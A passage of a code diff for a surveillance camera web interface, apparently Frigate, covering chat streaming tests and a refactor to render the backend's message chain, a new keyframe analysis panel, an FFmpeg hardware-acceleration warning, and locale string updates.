"/clips/front_door/review-detect-002-thumb.jpg", "data": {"audio": [], "detections": ["car-jkl012"], "objects": ["car"], "sub_labels": [], "significant_motion_areas": [], "zones": ["front_yard"]}}]
+[{"id": "review-alert-001", "camera": "front_door", "start_time": "2026-06-05T11:30:09.365581", "end_time": "2026-06-05T11:30:39.365581", "has_been_reviewed": false, "severity": "alert", "thumb_path": "/clips/front_door/review-alert-001-thumb.jpg", "data": {"audio": [], "detections": ["person-abc123"], "objects": ["person"], "sub_labels": [], "significant_motion_areas": [], "zones": ["front_yard"]}}, {"id": "review-alert-002", "camera": "backyard", "start_time": "2026-06-05T10:30:09.365581", "end_time": "2026-06-05T10:30:54.365581", "has_been_reviewed": true, "severity": "alert", "thumb_path": "/clips/backyard/review-alert-002-thumb.jpg", "data": {"audio": [], "detections": ["car-def456"], "objects": ["car"], "sub_labels": [], "significant_motion_areas": [], "zones": ["driveway"]}}, {"id": "review-detect-001", "camera": "garage", "start_time": "2026-06-05T09:30:09.365581", "end_time": "2026-06-05T09:30:29.365581", "has_been_reviewed": false, "severity": "detection", "thumb_path": "/clips/garage/review-detect-001-thumb.jpg", "data": {"audio": [], "detections": ["person-ghi789"], "objects": ["person"], "sub_labels": [], "significant_motion_areas": [], "zones": []}}, {"id": "review-detect-002", "camera": "front_door", "start_time": "2026-06-05T08:30:09.365581", "end_time": "2026-06-05T08:30:24.365581", "has_been_reviewed": false, "severity": "detection", "thumb_path": "/clips/front_door/review-detect-002-thumb.jpg", "data": {"audio": [], "detections": ["car-jkl012"], "objects": ["car"], "sub_labels": [], "significant_motion_areas": [], "zones": ["front_yard"]}}]

web/e2e/specs/chat.spec.ts

@@ -92,6 +92,15 @@ test.describe("Chat — streaming @medium", () => {
     await installChatStreamOverride(frigateApp, [
       { type: "content", delta: "Hel" },
       { type: "content", delta: "lo" },
+      {
+        type: "messages",
+        messages: [
+          { role: "system", content: "sys" },
+          { role: "user", content: "hello chat" },
+          { role: "assistant", content: "Hello" },
+        ],
+      },
+      { type: "done" },
     ]);
     await frigateApp.goto("/chat");
     const input = frigateApp.page.getByPlaceholder(/ask/i);
@@ -137,6 +146,15 @@ test.describe("Chat — streaming @medium", () => {
         { type: "content", delta: "Hel" },
         { type: "content", delta: "lo, " },
         { type: "content", delta: "world!" },
+        {
+          type: "messages",
+          messages: [
+            { role: "system", content: "sys" },
+            { role: "user", content: "greet me" },
+            { role: "assistant", content: "Hello, world!" },
+          ],
+        },
+        { type: "done" },
       ],
       { chunkDelayMs: 50 },
     );
@@ -151,19 +169,39 @@ test.describe("Chat — streaming @medium", () => {
     });
   });
 
-  test("tool_calls chunks render a ToolCallsGroup", async ({ frigateApp }) => {
-    await installChatStreamOverride(frigateApp, [
+  test("tool calls in the chain render a ToolCallsGroup", async ({
+    frigateApp,
+  }) => {
+    const toolTurn = [
+      { role: "system", content: "sys" },
+      { role: "user", content: "find people" },
       {
-        type: "tool_calls",
+        role: "assistant",
+        content: null,
         tool_calls: [
           {
             id: "call_1",
-            name: "search_objects",
-            arguments: { label: "person" },
+            type: "function",
+            function: {
+              name: "search_objects",
+              arguments: '{"label":"person"}',
+            },
           },
         ],
       },
+      { role: "tool", tool_call_id: "call_1", content: "[]" },
+    ];
+    await installChatStreamOverride(frigateApp, [
+      { type: "messages", messages: toolTurn },
       { type: "content", delta: "Searching for people." },
+      {
+        type: "messages",
+        messages: [
+          ...toolTurn,
+          { role: "assistant", content: "Searching for people." },
+        ],
+      },
+      { type: "done" },
     ]);
     await frigateApp.goto("/chat");
     const input = frigateApp.page.getByPlaceholder(/ask/i);
@@ -253,6 +291,15 @@ test.describe("Chat — attachment chip @medium", () => {
     // We use the stream override so the first message completes quickly.
     await installChatStreamOverride(frigateApp, [
       { type: "content", delta: "Done." },
+      {
+        type: "messages",
+        messages: [
+          { role: "system", content: "sys" },
+          { role: "user", content: "hello" },
+          { role: "assistant", content: "Done." },
+        ],
+      },
+      { type: "done" },
     ]);
     await frigateApp.goto("/chat");
 

web/public/locales/en/config/cameras.json

@@ -29,7 +29,7 @@
     },
     "listen": {
       "label": "Listen types",
-      "description": "List of audio event types to detect (for example: bark, fire_alarm, scream, speech, yell)."
+      "description": "List of audio event types to detect (for example: bark, fire_alarm, speech, yell)."
     },
     "filters": {
       "label": "Audio filters",
@@ -156,7 +156,7 @@
     "description": "FFmpeg settings including binary path, args, hwaccel options, and per-role output args.",
     "path": {
       "label": "FFmpeg path",
-      "description": "Path to the FFmpeg binary to use or a version alias (\"5.0\" or \"7.0\")."
+      "description": "Path to the FFmpeg binary to use or a version alias (\"7.0\" or \"8.0\")."
     },
     "global_args": {
       "label": "FFmpeg global arguments",

web/public/locales/en/config/global.json

@@ -547,7 +547,7 @@
     },
     "listen": {
       "label": "Listen types",
-      "description": "List of audio event types to detect (for example: bark, fire_alarm, scream, speech, yell)."
+      "description": "List of audio event types to detect (for example: bark, fire_alarm, speech, yell)."
     },
     "filters": {
       "label": "Audio filters",
@@ -683,7 +683,7 @@
     "description": "FFmpeg settings including binary path, args, hwaccel options, and per-role output args.",
     "path": {
       "label": "FFmpeg path",
-      "description": "Path to the FFmpeg binary to use or a version alias (\"5.0\" or \"7.0\")."
+      "description": "Path to the FFmpeg binary to use or a version alias (\"7.0\" or \"8.0\")."
     },
     "global_args": {
       "label": "FFmpeg global arguments",

web/public/locales/en/views/settings.json

@@ -1914,6 +1914,9 @@
       "resolutionHigh": "This detect resolution is higher than recommended and may cause increased resource usage without improving detection accuracy. A detect resolution at or below 1080p is recommended for most cameras.",
       "globalResolutionMultipleCameras": "A global detect resolution is set while multiple cameras are configured. Unless all cameras share the same resolution and aspect ratio, the detect width and height should be defined per camera to match each camera's native aspect ratio."
     },
+    "ffmpeg": {
+      "hwaccelManualNotRecommended": "Manual hardware acceleration arguments are not recommended. Unless a specific requirement exists, select the preset that matches your hardware."
+    },
     "objects": {
       "genaiNoDescriptionsProvider": "You must configure a GenAI provider with the 'descriptions' role for descriptions to be generated."
     },

web/public/locales/en/views/system.json

@@ -174,6 +174,21 @@
       "error": "Error: {{error}}",
       "tips": {
         "title": "Camera Probe Info"
+      },
+      "keyframes": {
+        "title": "Keyframe analysis",
+        "analyzing": "Analyzing keyframes... {{seconds}} seconds remaining",
+        "stillAnalyzing": "Still analyzing keyframes...",
+        "recordStream": "Record stream:",
+        "keyframeCount": "Keyframes observed:",
+        "observedDuration": "Observed duration:",
+        "gap": "Keyframe gap (min / avg / max):",
+        "segmentLength": "Recording segment length:",
+        "ok": "Keyframes every ~{{seconds}}s, good for recording and playback.",
+        "warning": "Sparse or variable keyframes (longest gap ~{{seconds}}s), likely a smart codec (H.264+/H.265+), this is not recommended.",
+        "error": "Keyframe gap (~{{seconds}}s) exceeds the recording segment length ({{segmentTime}}s). Some segments may have no keyframe, which breaks playback. Disable the smart/+ codec on the camera or shorten its keyframe interval.",
+        "unknown": "Couldn't determine keyframe spacing.",
+        "recordDisabled": "Recording is disabled for this camera."
       }
     },
     "framesAndDetections": "Frames / Detections",

web/src/components/config-form/section-configs/ffmpeg.ts

@@ -22,6 +22,27 @@ const ffmpegArgsWidget = (
 const ffmpeg: SectionConfigOverrides = {
   base: {
     sectionDocs: "/configuration/ffmpeg_presets",
+    fieldMessages: [
+      {
+        key: "hwaccel-manual-not-recommended",
+        field: "hwaccel_args",
+        position: "after",
+        messageKey: "configMessages.ffmpeg.hwaccelManualNotRecommended",
+        severity: "warning",
+        condition: (ctx) => {
+          // Manual mode is active when hwaccel_args is an explicit args list
+          // or a non-preset string
+          const value = ctx.formData?.hwaccel_args;
+          if (Array.isArray(value)) {
+            return value.length > 0;
+          }
+          if (typeof value === "string") {
+            return !value.startsWith("preset-");
+          }
+          return false;
+        },
+      },
+    ],
     fieldDocs: {
       hwaccel_args: "/configuration/ffmpeg_presets#hwaccel-presets",
       "inputs.hwaccel_args": "/configuration/ffmpeg_presets#hwaccel-presets",

web/src/components/config-form/theme/templates/FieldTemplate.tsx

@@ -386,11 +386,14 @@ export function FieldTemplate(props: FieldTemplateProps) {
   const beforeContent = renderCustom(beforeSpec);
   const afterContent = renderCustom(afterSpec);
 
-  // Read field-level conditional messages from FieldMessagesContext
+  // Read field-level conditional messages from FieldMessagesContext.
+  // For multi-schema fields (anyOf/oneOf), FieldTemplate renders twice for
+  // the same path (wrapper + inner branch); skip the wrapper pass so the
+  // message isn't shown twice, mirroring how labels/descriptions dedupe.
   const fieldPathStr = pathSegments.join(".");
-  const fieldMessageSpecs = allFieldMessages.filter(
-    (m) => m.field === fieldPathStr,
-  );
+  const fieldMessageSpecs = isMultiSchemaWrapper
+    ? []
+    : allFieldMessages.filter((m) => m.field === fieldPathStr);
   const beforeMessages = fieldMessageSpecs.filter(
     (m) => (m.position ?? "before") === "before",
   );

web/src/components/overlay/CameraInfoDialog.tsx

@@ -7,7 +7,8 @@ import {
   DialogTitle,
 } from "../ui/dialog";
 import ActivityIndicator from "../indicators/activity-indicator";
-import { Ffprobe } from "@/types/stats";
+import KeyframeAnalysisSection from "./KeyframeAnalysisSection";
+import { Ffprobe, KeyframeAnalysis } from "@/types/stats";
 import { Button } from "../ui/button";
 import copy from "copy-to-clipboard";
 import { CameraConfig } from "@/types/frigateConfig";
@@ -30,6 +31,7 @@ export default function CameraInfoDialog({
 }: CameraInfoDialogProps) {
   const { t } = useTranslation(["views/system"]);
   const [ffprobeInfo, setFfprobeInfo] = useState<Ffprobe[]>();
+  const [keyframeInfo, setKeyframeInfo] = useState<KeyframeAnalysis>();
 
   useEffect(() => {
     axios
@@ -67,7 +69,12 @@ export default function CameraInfoDialog({
   }, []);
 
   const onCopyFfprobe = async () => {
-    copy(JSON.stringify(ffprobeInfo));
+    copy(
+      JSON.stringify({
+        ffprobe: ffprobeInfo,
+        keyframe_analysis: keyframeInfo,
+      }),
+    );
     toast.success(t("cameras.toast.success.copyToClipboard"));
   };
 
@@ -96,7 +103,7 @@ export default function CameraInfoDialog({
             <Trans ns="views/system">cameras.info.streamDataFromFFPROBE</Trans>
           </DialogDescription>
 
-          <div className="mb-2 p-4">
+          <div className="mb-2 p-4 text-sm">
             {ffprobeInfo ? (
               <div>
                 {ffprobeInfo.map((stream, idx) => (
@@ -184,6 +191,10 @@ export default function CameraInfoDialog({
                     )}
                   </div>
                 ))}
+                <KeyframeAnalysisSection
+                  cameraName={camera.name}
+                  onResult={setKeyframeInfo}
+                />
               </div>
             ) : (
               <div className="flex flex-col items-center">

web/src/components/overlay/KeyframeAnalysisSection.tsx

@@ -0,0 +1,193 @@
+import { useEffect, useMemo, useState } from "react";
+import { useTranslation } from "react-i18next";
+import axios from "axios";
+import { FaCircleCheck, FaTriangleExclamation } from "react-icons/fa6";
+import { LuX } from "react-icons/lu";
+import ActivityIndicator from "../indicators/activity-indicator";
+import { KeyframeAnalysis } from "@/types/stats";
+
+const PROBE_WINDOW_SECONDS = 20;
+
+type KeyframeAnalysisSectionProps = {
+  cameraName: string;
+  onResult?: (analysis: KeyframeAnalysis) => void;
+};
+
+export default function KeyframeAnalysisSection({
+  cameraName,
+  onResult,
+}: KeyframeAnalysisSectionProps) {
+  const { t } = useTranslation(["views/system"]);
+  const [analysis, setAnalysis] = useState<KeyframeAnalysis>();
+  const [failed, setFailed] = useState(false);
+  const [secondsRemaining, setSecondsRemaining] =
+    useState(PROBE_WINDOW_SECONDS);
+
+  // fire the probe once on mount
+  useEffect(() => {
+    let active = true;
+    axios
+      .get("keyframe_analysis", { params: { camera: cameraName } })
+      .then((res) => {
+        if (active) {
+          setAnalysis(res.data);
+          onResult?.(res.data);
+        }
+      })
+      .catch(() => {
+        if (active) {
+          setFailed(true);
+        }
+      });
+    return () => {
+      active = false;
+    };
+    // re-probing only depends on the camera; onResult is a stable setter
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, [cameraName]);
+
+  // countdown while waiting for the probe to return
+  useEffect(() => {
+    if (analysis || failed) {
+      return;
+    }
+    const interval = setInterval(() => {
+      setSecondsRemaining((s) => (s > 0 ? s - 1 : 0));
+    }, 1000);
+    return () => clearInterval(interval);
+  }, [analysis, failed]);
+
+  const content = useMemo(() => {
+    if (failed) {
+      return <Row icon="unknown">{t("cameras.info.keyframes.unknown")}</Row>;
+    }
+
+    if (!analysis) {
+      return (
+        <div className="flex items-center gap-2 text-muted-foreground">
+          <ActivityIndicator className="size-4" />
+          <span>
+            {secondsRemaining > 0
+              ? t("cameras.info.keyframes.analyzing", {
+                  seconds: secondsRemaining,
+                })
+              : t("cameras.info.keyframes.stillAnalyzing")}
+          </span>
+        </div>
+      );
+    }
+
+    let summary;
+    switch (analysis.severity) {
+      case "ok":
+        summary = (
+          <Row icon="ok">
+            {t("cameras.info.keyframes.ok", { seconds: analysis.mean_gap })}
+          </Row>
+        );
+        break;
+      case "warning":
+        summary = (
+          <Row icon="warning">
+            {t("cameras.info.keyframes.warning", { seconds: analysis.max_gap })}
+          </Row>
+        );
+        break;
+      case "error":
+        summary = (
+          <Row icon="error">
+            {t("cameras.info.keyframes.error", {
+              seconds: analysis.max_gap,
+              segmentTime: analysis.segment_time,
+            })}
+          </Row>
+        );
+        break;
+      case "record_disabled":
+        summary = (
+          <Row icon="unknown">{t("cameras.info.keyframes.recordDisabled")}</Row>
+        );
+        break;
+      default:
+        summary = (
+          <Row icon="unknown">{t("cameras.info.keyframes.unknown")}</Row>
+        );
+    }
+
+    // gap statistics are only meaningful once at least two keyframes were seen
+    const hasStats = analysis.max_gap != null;
+    const hasDetails = hasStats || analysis.stream_index != null;
+
+    return (
+      <div className="text-muted-foreground">
+        {analysis.stream_index != null && (
+          <div>
+            {t("cameras.info.keyframes.recordStream")}{" "}
+            <span className="text-primary">
+              {t("cameras.info.stream", { idx: analysis.stream_index + 1 })}
+            </span>
+          </div>
+        )}
+        {hasStats && (
+          <div>
+            <div>
+              {t("cameras.info.keyframes.keyframeCount")}{" "}
+              <span className="text-primary">{analysis.keyframe_count}</span>
+            </div>
+            <div>
+              {t("cameras.info.keyframes.observedDuration")}{" "}
+              <span className="text-primary">
+                {analysis.duration_observed}s
+              </span>
+            </div>
+            <div>
+              {t("cameras.info.keyframes.gap")}{" "}
+              <span className="text-primary">
+                {analysis.min_gap}s / {analysis.mean_gap}s / {analysis.max_gap}s
+              </span>
+            </div>
+            <div>
+              {t("cameras.info.keyframes.segmentLength")}{" "}
+              <span className="text-primary">{analysis.segment_time}s</span>
+            </div>
+          </div>
+        )}
+        <div className={hasDetails ? "mt-3" : undefined}>{summary}</div>
+      </div>
+    );
+  }, [analysis, failed, secondsRemaining, t]);
+
+  return (
+    <div className="mb-5">
+      <div className="mb-1 rounded-md bg-secondary p-2 text-lg text-primary">
+        {t("cameras.info.keyframes.title")}
+      </div>
+      <div className="ml-2">{content}</div>
+    </div>
+  );
+}
+
+type RowProps = {
+  icon: "ok" | "warning" | "error" | "unknown";
+  children: React.ReactNode;
+};
+
+function Row({ icon, children }: RowProps) {
+  return (
+    <div className="flex items-start gap-2">
+      {icon === "ok" && (
+        <FaCircleCheck className="mt-0.5 size-4 flex-shrink-0 text-success" />
+      )}
+      {icon === "warning" && (
+        <FaTriangleExclamation className="mt-0.5 size-4 flex-shrink-0 text-yellow-500" />
+      )}
+      {icon === "error" && (
+        <LuX className="mt-0.5 size-4 flex-shrink-0 text-danger" />
+      )}
+      {icon === "unknown" && (
+        <FaTriangleExclamation className="mt-0.5 size-4 flex-shrink-0 text-muted-foreground" />
+      )}
+      <span className="text-primary">{children}</span>
+    </div>
+  );
+}

web/src/pages/Chat.tsx

@@ -13,6 +13,7 @@ import { ChatComposer } from "@/components/chat/ChatComposer";
 import ChatSettings from "@/components/chat/ChatSettings";
 import type {
   ChatMessage,
+  ChatStats,
   GenAIModelsResponse,
   ShowStatsMode,
 } from "@/types/chat";
@@ -22,12 +23,28 @@ import {
   getFindSimilarObjectsFromToolCalls,
   prependAttachment,
   streamChatCompletion,
+  toolCallsForMessage,
+  toolResponsesById,
 } from "@/utils/chatUtil";
 
+type StreamingTurn = {
+  content: string;
+  reasoning: string;
+  chain: ChatMessage[];
+  stats?: ChatStats;
+};
+
+const hasText = (content: unknown): content is string =>
+  typeof content === "string" && content.trim().length > 0;
+
+const toWire = (messages: ChatMessage[]): ChatMessage[] =>
+  messages.map(({ reasoning: _r, stats: _s, ...rest }) => rest);
+
 export default function ChatPage() {
   const { t } = useTranslation(["views/chat"]);
   const [input, setInput] = useState("");
   const [messages, setMessages] = useState<ChatMessage[]>([]);
+  const [streaming, setStreaming] = useState<StreamingTurn | null>(null);
   const [isLoading, setIsLoading] = useState(false);
   const [error, setError] = useState<string | null>(null);
   const [attachedEventId, setAttachedEventId] = useState<string | null>(null);
@@ -72,28 +89,19 @@ export default function ChatPage() {
     if (isNearBottom) {
       el.scrollTo({ top: el.scrollHeight, behavior: "smooth" });
     }
-  }, [messages, autoScroll]);
+  }, [messages, streaming, autoScroll]);
 
   const submitConversation = useCallback(
     async (messagesToSend: ChatMessage[]) => {
       if (isLoading) return;
       const last = messagesToSend[messagesToSend.length - 1];
-      if (!last || last.role !== "user" || !last.content.trim()) return;
+      if (!last || last.role !== "user" || !hasText(last.content)) return;
 
       setError(null);
-      const assistantPlaceholder: ChatMessage = {
-        role: "assistant",
-        content: "",
-        toolCalls: undefined,
-      };
-      setMessages([...messagesToSend, assistantPlaceholder]);
+      setMessages(messagesToSend);
+      setStreaming({ content: "", reasoning: "", chain: [] });
       setIsLoading(true);
 
-      const apiMessages = messagesToSend.map((m) => ({
-        role: m.role,
-        content: m.content,
-      }));
-
       const baseURL = axios.defaults.baseURL ?? "";
       const url = `${baseURL}chat/completion`;
       const headers: Record<string, string> = {
@@ -104,16 +112,50 @@ export default function ChatPage() {
       const controller = new AbortController();
       abortRef.current = controller;
 
+      let chain: ChatMessage[] = [];
+      let stats: ChatStats | undefined;
+      let reasoning = "";
+      let hadError = false;
+
       await streamChatCompletion(
         url,
         headers,
-        apiMessages,
+        toWire(messagesToSend),
         {
-          updateMessages: (updater) => setMessages(updater),
-          onError: (message) => setError(message),
+          onContentDelta: (delta) =>
+            setStreaming((s) => (s ? { ...s, content: s.content + delta } : s)),
+          onReasoningDelta: (delta) => {
+            reasoning += delta;
+            setStreaming((s) =>
+              s ? { ...s, reasoning: s.reasoning + delta } : s,
+            );
+          },
+          onChain: (fullChain) => {
+            chain = fullChain;
+            setStreaming((s) => (s ? { ...s, chain: fullChain } : s));
+          },
+          onStats: (s) => {
+            stats = s;
+            setStreaming((cur) => (cur ? { ...cur, stats: s } : cur));
+          },
+          onError: (message) => {
+            hadError = true;
+            setError(message);
+          },
           onDone: () => {
             abortRef.current = null;
             setIsLoading(false);
+            setStreaming(null);
+            const lastMsg = chain[chain.length - 1];
+            if (!hadError && lastMsg?.role === "assistant") {
+              setMessages(
+                chain.map((m, i) =>
+                  i === chain.length - 1
+                    ? { ...m, reasoning: reasoning || undefined, stats }
+                    : m,
+                ),
+              );
+            }
           },
           defaultErrorMessage: t("error"),
         },
@@ -125,12 +167,14 @@ export default function ChatPage() {
   );
 
   const recentEventIds = useMemo(() => {
+    const responses = toolResponsesById(messages);
     for (let i = messages.length - 1; i >= 0; i--) {
       const msg = messages[i];
-      if (msg.role !== "assistant" || !msg.toolCalls) continue;
-      const similar = getFindSimilarObjectsFromToolCalls(msg.toolCalls);
+      if (msg.role !== "assistant" || !msg.tool_calls?.length) continue;
+      const calls = toolCallsForMessage(msg, responses);
+      const similar = getFindSimilarObjectsFromToolCalls(calls);
       if (similar) return similar.results.map((e) => e.id);
-      const events = getEventIdsFromSearchObjectsToolCalls(msg.toolCalls);
+      const events = getEventIdsFromSearchObjectsToolCalls(calls);
       if (events.length > 0) return events.map((e) => e.id);
     }
     return [];
@@ -154,12 +198,14 @@ export default function ChatPage() {
     abortRef.current?.abort();
     abortRef.current = null;
     setIsLoading(false);
+    setStreaming(null);
   }, []);
 
   const startNewChat = useCallback(() => {
     abortRef.current?.abort();
     abortRef.current = null;
     setIsLoading(false);
+    setStreaming(null);
     setMessages([]);
     setInput("");
     setAttachedEventId(null);
@@ -181,7 +227,83 @@ export default function ChatPage() {
     setAttachedEventId(null);
   }, []);
 
-  const hasStarted = messages.length > 0;
+  const hasStarted = messages.length > 0 || streaming != null;
+
+  // While streaming, the backend's in-flight chain is the source of truth;
+  // otherwise the committed conversation is.
+  const renderList =
+    streaming && streaming.chain.length ? streaming.chain : messages;
+  const responses = toolResponsesById(renderList);
+  const renderTail = renderList[renderList.length - 1];
+  const finalShown =
+    renderTail?.role === "assistant" && hasText(renderTail.content);
+
+  const renderMessage = (msg: ChatMessage, i: number) => {
+    if (msg.role === "system" || msg.role === "tool") return null;
+
+    if (msg.role === "user") {
+      if (!hasText(msg.content)) return null;
+      return (
+        <div key={i} className="flex flex-col gap-2">
+          <MessageBubble
+            role="user"
+            content={msg.content}
+            messageIndex={i}
+            onEditSubmit={handleEditSubmit}
+            isComplete
+            showStats={showStats}
+          />
+        </div>
+      );
+    }
+
+    const calls = toolCallsForMessage(msg, responses);
+    const contentText = hasText(msg.content) ? msg.content : "";
+    const similar = getFindSimilarObjectsFromToolCalls(calls);
+    const events = similar ? [] : getEventIdsFromSearchObjectsToolCalls(calls);
+
+    return (
+      <div key={i} className="flex flex-col gap-2">
+        {calls.length > 0 && <ToolCallsGroup toolCalls={calls} />}
+        {hasText(msg.reasoning) && (
+          <ReasoningBubble
+            reasoning={msg.reasoning}
+            answerStarted={!!contentText}
+          />
+        )}
+        {contentText && (
+          <MessageBubble
+            role="assistant"
+            content={contentText}
+            messageIndex={i}
+            isComplete
+            stats={msg.stats}
+            showStats={showStats}
+          />
+        )}
+        {similar ? (
+          <ChatEventThumbnailsRow
+            events={similar.results}
+            anchor={similar.anchor}
+            onAttach={setAttachedEventId}
+          />
+        ) : (
+          <ChatEventThumbnailsRow
+            events={events}
+            onAttach={setAttachedEventId}
+          />
+        )}
+      </div>
+    );
+  };
+
+  const processingDots = (
+    <div className="flex items-center gap-2 self-start rounded-2xl bg-muted px-5 py-4">
+      <span className="size-2.5 animate-bounce rounded-full bg-muted-foreground/60 [animation-delay:-0.32s]" />
+      <span className="size-2.5 animate-bounce rounded-full bg-muted-foreground/60 [animation-delay:-0.16s]" />
+      <span className="size-2.5 animate-bounce rounded-full bg-muted-foreground/60" />
+    </div>
+  );
 
   return (
     <div className="flex size-full flex-col">
@@ -212,102 +334,31 @@ export default function ChatPage() {
           <div className="flex w-full flex-col xl:w-[50%] 3xl:w-[35%]">
             {hasStarted ? (
               <div className="flex w-full flex-1 flex-col gap-3 pb-3">
-                {messages.map((msg, i) => {
-                  const isLastAssistant =
-                    i === messages.length - 1 && msg.role === "assistant";
-                  const isComplete =
-                    msg.role === "user" || !isLoading || !isLastAssistant;
-                  const hasToolCalls =
-                    msg.toolCalls && msg.toolCalls.length > 0;
-                  const hasContent = !!msg.content?.trim();
-                  const hasReasoning = !!msg.reasoning?.trim();
-                  const showProcessing =
-                    isLastAssistant &&
-                    isLoading &&
-                    !hasContent &&
-                    !hasReasoning;
-
-                  // Hide empty placeholder only when there are no tool calls
-                  // and no reasoning streaming yet
-                  if (
-                    isLastAssistant &&
-                    isLoading &&
-                    !hasContent &&
-                    !hasToolCalls &&
-                    !hasReasoning
-                  )
-                    return (
-                      <div
-                        key={i}
-                        className="flex items-center gap-2 self-start rounded-2xl bg-muted px-5 py-4"
-                      >
-                        <span className="size-2.5 animate-bounce rounded-full bg-muted-foreground/60 [animation-delay:-0.32s]" />
-                        <span className="size-2.5 animate-bounce rounded-full bg-muted-foreground/60 [animation-delay:-0.16s]" />
-                        <span className="size-2.5 animate-bounce rounded-full bg-muted-foreground/60" />
-                      </div>
-                    );
-
-                  return (
-                    <div key={i} className="flex flex-col gap-2">
-                      {msg.role === "assistant" && hasToolCalls && (
-                        <ToolCallsGroup toolCalls={msg.toolCalls!} />
-                      )}
-                      {msg.role === "assistant" && hasReasoning && (
+                {renderList.map((msg, i) => renderMessage(msg, i))}
+                {streaming &&
+                  !finalShown &&
+                  (streaming.content || streaming.reasoning ? (
+                    <div className="flex flex-col gap-2">
+                      {hasText(streaming.reasoning) && (
                         <ReasoningBubble
-                          reasoning={msg.reasoning!}
-                          answerStarted={hasContent}
+                          reasoning={streaming.reasoning}
+                          answerStarted={!!streaming.content}
                         />
                       )}
-                      {showProcessing ? (
-                        <div className="flex items-center gap-2 self-start rounded-2xl bg-muted px-5 py-4">
-                          <span className="size-2 animate-bounce rounded-full bg-muted-foreground/60 [animation-delay:-0.3s]" />
-                          <span className="size-2 animate-bounce rounded-full bg-muted-foreground/60 [animation-delay:-0.15s]" />
-                          <span className="size-2 animate-bounce rounded-full bg-muted-foreground/60" />
-                        </div>
-                      ) : msg.role === "assistant" &&
-                        !hasContent &&
-                        hasReasoning &&
-                        !isComplete ? null : (
+                      {streaming.content && (
                         <MessageBubble
-                          role={msg.role}
-                          content={msg.content}
-                          messageIndex={i}
-                          onEditSubmit={
-                            msg.role === "user" ? handleEditSubmit : undefined
-                          }
-                          isComplete={isComplete}
-                          stats={msg.stats}
+                          role="assistant"
+                          content={streaming.content}
+                          messageIndex={-1}
+                          isComplete={false}
+                          stats={streaming.stats}
                           showStats={showStats}
                         />
                       )}
-                      {msg.role === "assistant" &&
-                        isComplete &&
-                        (() => {
-                          const similar = getFindSimilarObjectsFromToolCalls(
-                            msg.toolCalls,
-                          );
-                          if (similar) {
-                            return (
-                              <ChatEventThumbnailsRow
-                                events={similar.results}
-                                anchor={similar.anchor}
-                                onAttach={setAttachedEventId}
-                              />
-                            );
-                          }
-                          const events = getEventIdsFromSearchObjectsToolCalls(
-                            msg.toolCalls,
-                          );
-                          return (
-                            <ChatEventThumbnailsRow
-                              events={events}
-                              onAttach={setAttachedEventId}
-                            />
-                          );
-                        })()}
                     </div>
-                  );
-                })}
+                  ) : (
+                    processingDots
+                  ))}
                 {error && (
                   <p
                     className="flex items-center gap-1.5 self-start text-sm text-destructive"

web/src/types/chat.ts

@@ -1,17 +1,30 @@
+export type ToolCallFunction = {
+  name: string;
+  arguments: string;
+};
+
+export type WireToolCall = {
+  id: string;
+  type?: string;
+  function: ToolCallFunction;
+};
+
+export type ChatMessage = {
+  role: "system" | "user" | "assistant" | "tool";
+  content: unknown;
+  tool_call_id?: string;
+  name?: string;
+  tool_calls?: WireToolCall[];
+  reasoning?: string;
+  stats?: ChatStats;
+};
+
 export type ToolCall = {
   name: string;
   arguments?: Record<string, unknown>;
   response?: string;
 };
 
-export type ChatMessage = {
-  role: "user" | "assistant";
-  content: string;
-  reasoning?: string;
-  toolCalls?: ToolCall[];
-  stats?: ChatStats;
-};
-
 export type StartingRequest = {
   label: string;
   prompt: string;

web/src/types/stats.ts

@@ -135,3 +135,22 @@ export type Ffprobe = {
     }[];
   };
 };
+
+export type KeyframeSeverity =
+  | "ok"
+  | "warning"
+  | "error"
+  | "unknown"
+  | "record_disabled";
+
+export type KeyframeAnalysis = {
+  severity: KeyframeSeverity;
+  stream_index?: number;
+  keyframe_count?: number;
+  max_gap?: number | null;
+  mean_gap?: number | null;
+  min_gap?: number | null;
+  duration_observed?: number | null;
+  segment_time?: number;
+  thresholds?: { warning: number; error: number };
+};

web/src/utils/chatUtil.ts

@@ -1,16 +1,20 @@
 import type { ChatMessage, ChatStats, ToolCall } from "@/types/chat";
 
 export type StreamChatCallbacks = {
-  /** Update the messages array (e.g. pass to setState). */
-  updateMessages: (updater: (prev: ChatMessage[]) => ChatMessage[]) => void;
+  /** Streamed delta of the assistant's final answer text. */
+  onContentDelta: (delta: string) => void;
+  /** Streamed delta of the assistant's reasoning trace. */
+  onReasoningDelta: (delta: string) => void;
+  /** The full conversation chain so far (system message, history, this turn's
+   * tool-call turns, tool results, and — on the final emission — the final
+   * assistant message). */
+  onChain: (chain: ChatMessage[]) => void;
+  /** Token/timing stats for the turn. */
+  onStats: (stats: ChatStats) => void;
   /** Called when the stream sends an error or fetch fails. */
   onError: (message: string) => void;
   /** Called when the stream finishes (success or error). */
   onDone: () => void;
-  /** Called when the stream emits token/timing stats. The stats are also
-   * attached to the last assistant message in updateMessages, so consumers
-   * can usually rely on the message itself rather than wiring this up. */
-  onStats?: (stats: ChatStats) => void;
   /** Message used when fetch throws and no server error is available. */
   defaultErrorMessage?: string;
 };
@@ -25,7 +29,7 @@ type StatsChunk = {
 
 type StreamChunk =
   | { type: "error"; error: string }
-  | { type: "tool_calls"; tool_calls: ToolCall[] }
+  | { type: "messages"; messages: ChatMessage[] }
   | { type: "content"; delta: string }
   | { type: "reasoning"; delta: string }
   | StatsChunk;
@@ -41,16 +45,18 @@ export type StreamChatOptions = {
 export async function streamChatCompletion(
   url: string,
   headers: Record<string, string>,
-  apiMessages: { role: string; content: string }[],
+  apiMessages: ChatMessage[],
   callbacks: StreamChatCallbacks,
   signal?: AbortSignal,
   options: StreamChatOptions = {},
 ): Promise<void> {
   const {
-    updateMessages,
+    onContentDelta,
+    onReasoningDelta,
+    onChain,
+    onStats,
     onError,
     onDone,
-    onStats,
     defaultErrorMessage = "Something went wrong. Please try again.",
   } = callbacks;
 
@@ -91,65 +97,27 @@ export async function streamChatCompletion(
     const applyChunk = (data: StreamChunk) => {
       if (data.type === "error") {
         onError(data.error);
-        updateMessages((prev) =>
-          prev.filter((m) => !(m.role === "assistant" && m.content === "")),
-        );
         return "break";
       }
-      if (data.type === "tool_calls" && data.tool_calls?.length) {
-        updateMessages((prev) => {
-          const next = [...prev];
-          const lastMsg = next[next.length - 1];
-          if (lastMsg?.role === "assistant")
-            next[next.length - 1] = {
-              ...lastMsg,
-              toolCalls: data.tool_calls,
-            };
-          return next;
-        });
+      if (data.type === "messages") {
+        onChain(data.messages ?? []);
